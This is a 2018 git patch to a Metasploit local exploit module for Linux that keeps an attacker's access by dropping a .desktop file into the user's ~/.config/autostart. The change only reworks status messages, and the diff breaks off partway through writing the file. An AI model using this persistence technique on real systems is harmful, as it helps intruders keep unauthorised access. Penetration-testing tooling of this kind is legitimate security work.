From eb43e4c0bde14f1647677c0fd04091df00a09332 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Sun, 15 Jul 2018 16:47:27 +0200 Subject: [PATCH] Rework status printing --- modules/exploits/linux/local/autostart_persistence.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/exploits/linux/local/autostart_persistence.rb index 29b07bdaf4..618491ba04 100644 --- a/modules/exploits/linux/local/autostart_persistence.rb +++ b/modules/exploits/linux/local/autostart_persistence.rb @@ -39,18 +39,15 @@ class MetasploitModule < Msf::Exploit::Local def exploit name = datastore['NAME'] ? datastore['NAME'] : Rex::Text.rand_text_alpha(5) - vprint_status ("Name is #{name}") home = cmd_exec('echo ~') path = "#{home}/.config/autostart/#{name}.desktop" - print_status("Creating #{path}") print_status('Making sure the autostart directory exists') cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists - print_status('Uploading autostart file') - cmd_exec("rm #{path}") + print_status("Uploading autostart file #{path}") write_file(path, [ "[Desktop Entry]",